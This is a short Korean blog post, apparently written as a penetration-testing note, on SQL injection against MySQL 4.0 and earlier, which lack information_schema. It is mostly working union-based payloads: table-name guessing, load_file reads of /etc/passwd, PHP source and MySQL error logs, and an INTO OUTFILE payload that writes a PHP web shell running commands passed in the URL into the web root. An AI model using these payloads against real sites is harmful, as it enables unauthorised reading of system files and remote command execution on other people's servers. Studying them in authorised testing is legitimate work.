MySQL SQL 인젝션


MySQL 4.0 이하 버전에서는 information_schema 가 없다. 즉 테이블, 필드명을 알 수 없다는 것이다. 


하지만 모의해킹을 위해서는 알아내야만 한다. 해결 방법은 여러가지가 있다.


1) 추측(brute forcing)

    search_value=-1' union select 'abcde',1,2 from mail# 

     => java.lang.Exception: General error,  message from server: "Table 'cleandb.mail' doesn't exist"


2) 소스코드 열람(union 혹은 blind, error based 등 모두 가능)

    -1' union select load_file('/etc/passwd'),2,3#

    => 계정 및 홈폴더 파악

    -1' union select load_file('/var/www/htm/member.php'),2,3#

    => 소스코드 열람 및 쿼리문을 보고 테이블명 확인


3) MySQL 로그파일 열람

    -1' union select load_file('/var/log/mysql/log/error.log'),2,3#


4) 웹쉘 업로드

    -1' union select '<? system($_GET['cmd']); ?>',0,0 into outfile '/var/www/html/shell.php'# (혹은 dumpfile)



+ Recent posts